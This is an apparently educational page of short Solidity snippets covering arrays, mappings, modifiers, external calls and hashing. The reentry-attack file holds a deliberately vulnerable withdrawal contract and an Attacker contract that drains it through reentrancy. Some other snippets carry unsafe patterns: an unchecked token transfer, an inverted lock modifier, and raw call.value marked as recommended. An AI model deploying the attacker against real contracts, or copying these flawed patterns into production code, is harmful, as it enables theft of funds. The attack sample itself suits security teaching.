Home

Awesome

This is a collection of Solidity snippets for people who like to learn by example. Maybe some day it will turn into more of a step-by-step learning experience.

Examples

array-delete.sol

contract ArrayDelete {
    uint[] numbers;

    function main() returns (uint[]) {
        numbers.push(100);
        numbers.push(200);
        numbers.push(300);
        numbers.push(400);
        numbers.push(500);

        delete numbers[2];

        // 100, 200, 0, 400, 500
        return numbers;
    }
}

array-of-strings.sol

contract MyContract {
    string[] strings;

    function MyContract() {
        strings.push("hi");
        strings.push("bye");
    }

    function bar() constant returns(string) {
        return strings[1];
    }
}

array-passing.sol

contract A {
    uint256[] public numbers;
    function A(uint256[] _numbers) {
        for(uint256 i=0; i<_numbers.length; i++) {
            numbers.push(_numbers[i]);
        }
    }

    function get() returns (uint256[]) {
        return numbers;
    }
}

contract Manager {
    function makeA() returns (uint256) {
        uint256[] numbers;
        numbers.push(10);

        A a = new A(numbers);

        return a.numbers(0);
    }
}

array-return.sol

contract A {
    
    uint[] xs;
    
    function A() {
        xs.push(100);
        xs.push(200);
        xs.push(300);
    }
    
    // can be called from web3
    function foo() constant returns(uint[]) {
        return xs;
    }
}

// trying to call foo from another contract does not work
contract B {
    
    A a;
    
    function B() {
        a = new A();
    }
    
    // COMPILATION ERROR
    // Return argument type inaccessible dynamic type is not implicitly convertible 
    // to expected type (type of first return variable) uint256[] memory.
    function bar() constant returns(uint[]) {
        return a.foo();
    }
}

basic-token-annotated.sol

// declare which version of Solidity we are using
// different versions of Solidity have different
pragma solidity ^0.4.18;

// define a smart contract called "BasicToken"
contract BasicToken {

  // examples of simple variables
  // string myName;
  // bool isApproved;
  // uint daysRemaining;

  // an array is a list of individuals values, e.g. list of numbers, list of names
  // uint256[] numbers;

  // a mapping is a list of pairs
  mapping(address => uint256) balances; // a mapping of all user's balances
  // 0xa5c => 10 Ether
  // 0x91b => 5 Ether
  // 0xcdd => 1.25 Ether

  // another mapping example
  // mapping(address => bool) signatures; // a mapping of signatures
  // 0xa2d => true (approved)
  // 0xb24 => true (approved)
  // 0x515 => false (not approved)

  // address myAddress = 0x1235647381947839275893275893; // ethereum address
  // uint256 count = 10; // unsigned (non-negative) integer, 256-bytes in size

  /**
  * @dev transfer token for a specified address
  * @param recipient The address to transfer to.
  * @param value The amount to be transferred.
  */
  // define a function called "transfer"
  // inputs? (parameters) an address called "recipient" and a uint256 called "value"
  function transfer(address recipient, uint256 value) public {
    // msg.sender is a predefined variable that specifies the address of the
    // person sending this transaction
    // address msg.sender = 0x5ba...;

    // balances[msg.sender] -> set the balance of the sender
    // set the balance of the sender to their current balance minus value
    // withdrawing tokens from the sender's account
    balances[msg.sender] -= value;

    // balances[recipient] -> set the balance of the receiver (recipient)
    // set the balance of the receiver to their current balance plus value
    // depositing tokens into the receiver's account
    balances[recipient] += value;
  }

  /**
  * @dev Gets the balance of the specified address.
  * @param account The address to query the the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  // define function called "balanceOf"
  // inputs? (parameters) the address of the owner (account)
  // ontputs? (returns) the balance (number)
  function balanceOf(address account) public constant returns (uint256) {

    // balances[account] -> return the balance of the owner
    return balances[account];
  }

}

basic-token-unannotated.sol

pragma solidity ^0.4.18;

contract BasicToken {

  mapping(address => uint256) balances;

  function transfer(address recipient, uint256 value) public {
    balances[msg.sender] -= value;
    balances[recipient] += value;
  }

  function balanceOf(address account) public constant returns (uint256) {
    return balances[account];
  }

}

call-dynamic.sol

contract MyContract {

    uint x = 0;

    function foo(uint _x) {
        x = 10 + _x;
    }

    function bar() constant returns(uint) {
        this.call(bytes4(sha3('foo(uint256)')), 1);
        return x; // returns 11
    }
}

call-other-contract.sol

import 'OtherContract.sol'

contract MyContract {
  OtherContract other;
  function MyContract(address otherAddress) {
    other = OtherContract(otherAddress);
  }
  function foo() {
    other.bar();
  }
}

error-trap.sol

contract ContractTrapped {
    function foo(uint a) constant returns(string, uint) {
        uint nullReturn;
        if(a < 100) {
            return('Too small', nullReturn);
        }
        uint b = 5;
        return ('', b);
    }
}

f.value.sol

contract One{
    string public word;

    function setMsg(string whatever) {
        word = whatever;
    }
}

contract Two{
    function Two(){
        One o = One(0x692a70d2e424a56d2c6c27aa97d1a86395877b3a);
        o.setMsg.value(0)("test");
    }
}

factory.sol

contract A {
    uint[] public amounts;
    function init(uint[] _amounts) {
        amounts = _amounts;
    }
}

contract Factory {
    struct AData {
        uint[] amounts;
    }
    mapping (address => AData) listOfData;

    function set(uint[] _amounts) {
        listOfData[msg.sender] = AData(_amounts);
    }

    function make() returns(address) {
        A a = new A();
        a.init(listOfData[msg.sender].amounts);
        return address(a);
    }
}

mapping-delete.sol

contract MyContract {
    struct Data {
        uint a;
        uint b;
    }
    mapping (uint => Data) public items;
    function MyContract() {
        items[0] = Data(1,2);
        items[1] = Data(3,4);
        items[2] = Data(5,6);
        delete items[1];
    }
}

modifiers.sol

contract MyContract {

  bool locked = false;

  modifier validAddress(address account) {
    if (account == 0x0) { throw; }
    _
  }

  modifier greaterThan(uint value, uint limit) {
      if(value <= limit) { throw; }
      _
  }

  modifier lock() {
    if(locked) {
        locked = true;
        _
        locked = false;
    }
  }

  function f(address account) validAddress(account) {}
  function g(uint a) greaterThan(a, 10) {}
  function refund() lock {
      msg.sender.send(0);
  }
}

no-variable-length-returns.sol

contract A {
  bytes8[] stuff;
  function get() constant returns(bytes8[]) {
    return stuff;
  }
}

contract B {
  A a;
  bytes8[] mystuff;
  function assign(address _a) {
      a = A(_a);
  }

  function copyToMemory() {
    // VM does not support variably-sized return types from external function calls
    // (ERROR: Type inaccessible dynamic type is not implicitly convertible...)
    bytes8[] memory stuff = a.get();
  }

  function copyToStorage() {
    // ERROR
    mystuff = a.get();
  }
}

proposal.sol

pragma solidity ^0.4.17;

/** A proposal contract with O(1) approvals. */
contract Proposal {
    mapping (address => bool) approvals;
    bytes32 public approvalMask;
    bytes32 public approver1;
    bytes32 public approver2;
    bytes32 public target;
    
    function Proposal() public {
        approver1 = 0x00000000000000000000000000000000000000123;
        approver2 = bytes32(msg.sender);
        target = approver1 | approver2;
    }
    
    function approve(address approver) public {
        approvalMask |= bytes32(approver);
        approvals[approver] = true;
    }
    
    function isApproved() public constant returns(bool) {
        return approvalMask == target;
    }
}

public-length.sol

contract A {
    uint[] public nums;
    function getNumLength() returns(uint) {
        return nums.length;
    }
}

contract B {
    A a;

    function test() constant returns (uint) {
        // length is not accessible on public array from other contract
        //return a.nums.length();
        return a.getNumLength();
    }
}

public-mapping.sol

contract A {
    mapping(uint => uint) public objects;

    function B() {
        objects[0] = 42;
    }
}

contract B {
    // insert address of deployed First here
    A a = A(0x692a70d2e424a56d2c6c27aa97d1a86395877b3a);

    function get() returns(uint) {
        return a.objects(0);
    }
}

reentry-attack.sol

contract MiniDAO {
    mapping (address => uint) balances;

    function deposit() {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint amount) {
        if(balances[msg.sender] < amount) throw;
        msg.sender.call.value(amount)();
        balances[msg.sender] -= amount;
    }
}

contract Attacker {

    // limit the recursive calls to prevent out-of-gas error
    uint stack = 0;
    uint constant stackLimit = 10;
    uint amount;
    MiniDAO dao;

    function Attacker(address daoAddress) {
        dao = MiniDAO(daoAddress);
        amount = msg.value;
        dao.deposit.value(msg.value)();
    }

    function attack() {
        dao.withdraw(amount);
    }

    function() {
        if(stack++ < 10) {
            dao.withdraw(amount);
        }
    }
}

remove-from-array.sol

contract Contract {
    uint[] public values;

    function Contract() {
    }

    function find(uint value) returns(uint) {
        uint i = 0;
        while (values[i] != value) {
            i++;
        }
        return i;
    }

    function removeByValue(uint value) {
        uint i = find(value);
        removeByIndex(i);
    }

    function removeByIndex(uint i) {
        while (i<values.length-1) {
            values[i] = values[i+1];
            i++;
        }
        values.length--;
    }

    function getValues() constant returns(uint[]) {
        return values;
    }

    function test() returns(uint[]) {
        values.push(10);
        values.push(20);
        values.push(30);
        values.push(40);
        values.push(50);
        removeByValue(30);
        return getValues();
    }
}

send-eth.sol

contract MyContract {

    address a = 0x123;

    function foo() {

        // send ether with default 21,000 gas
        // likely causes OOG in callee
        a.send(1 ether);

        // send ether with all remaining gas
        // but no success check!
        a.call.value(1 ether)();

        // RECOMMENDED
        // send all remaining gas
        // explicitly handle callee throw
        if(!a.call.value(1 ether)()) throw;
    }
}

sha3.sol

contract Sha3 {
    function hashArray() constant returns(bytes32) {
        bytes8[] memory tickers = new bytes8[](4);
        tickers[0] = bytes8('BTC');
        tickers[1] = bytes8('ETH');
        tickers[2] = bytes8('LTC');
        tickers[3] = bytes8('DOGE');
        return sha3(tickers);
        // 0x374c0504f79c1d5e6e4ded17d488802b5656bd1d96b16a568d6c324e1c04c37b
    }

    function hashPackedArray() constant returns(bytes32) {
        bytes8 btc = bytes8('BTC');
        bytes8 eth = bytes8('ETH');
        bytes8 ltc = bytes8('LTC');
        bytes8 doge = bytes8('DOGE');
        return sha3(btc, eth, ltc, doge);
        // 0xe79a6745d2205095147fd735f329de58377b2f0b9f4b81ae23e010062127f2bc
    }

    function hashAddress() constant returns(bytes32) {
        address account = 0x6779913e982688474f710b47e1c0506c5dca4634;
        return sha3(bytes20(account));
        // 0x229327de236bd04ccac2efc445f1a2b63afddf438b35874b9f6fd1e6c38b0198
    }

    function testPackedArgs() constant returns (bool) {
        return sha3('ab') == sha3('a', 'b');
    }

    function hashHex() constant returns (bytes32) {
        return sha3(0x0a);
        // 0x0ef9d8f8804d174666011a394cab7901679a8944d24249fd148a6a36071151f8
    }

    function hashInt() constant returns (bytes32) {
        return sha3(int(1));
    }

    function hashNegative() constant returns (bytes32) {
        return sha3(int(-1));
    }

    function hash8() constant returns (bytes32) {
        return sha3(1);
    }

    function hash32() constant returns (bytes32) {
        return sha3(uint32(1));
    }

    function hash256() constant returns (bytes32) {
        return sha3(uint(1));
    }

    function hashEth() constant returns (bytes32) {
        return sha3(uint(100 ether));
    }

    function hashWei() constant returns (bytes32) {
        return sha3(uint(100));
    }

    function hashMultipleArgs() constant returns (bytes32) {
        return sha3('a', uint(1));
    }

    function hashString() constant returns (bytes32) {
        return sha3('a');
    }
}

tail-recursion.sol

pragma solidity ^0.4.8;

contract MyContract {

    // naive recursion
    function sum(uint n) constant returns(uint) {
        return n == 0 ? 0 :
          n + sum(n-1);
    }

    // loop
    function sumloop(uint n) constant returns(uint) {
        uint256 total = 0;
        for(uint256 i=1; i<=n; i++) {
          total += i;
        }
        return total;
    }

    // tail-recursion
    function sumtailHelper(uint n, uint acc) private constant returns(uint) {
        return n == 0 ? acc :
          sumtailHelper(n-1, acc + n);
    }
    function sumtail(uint n) constant returns(uint) {
        return sumtailHelper(n, 0);
    }
}

tuple.sol

contract A {
    function tuple() returns(uint, string) {
        return (1, "Hi");
    }

    function getOne() returns(uint) {
        uint a;
        (a,) = tuple();
        return a;
    }
}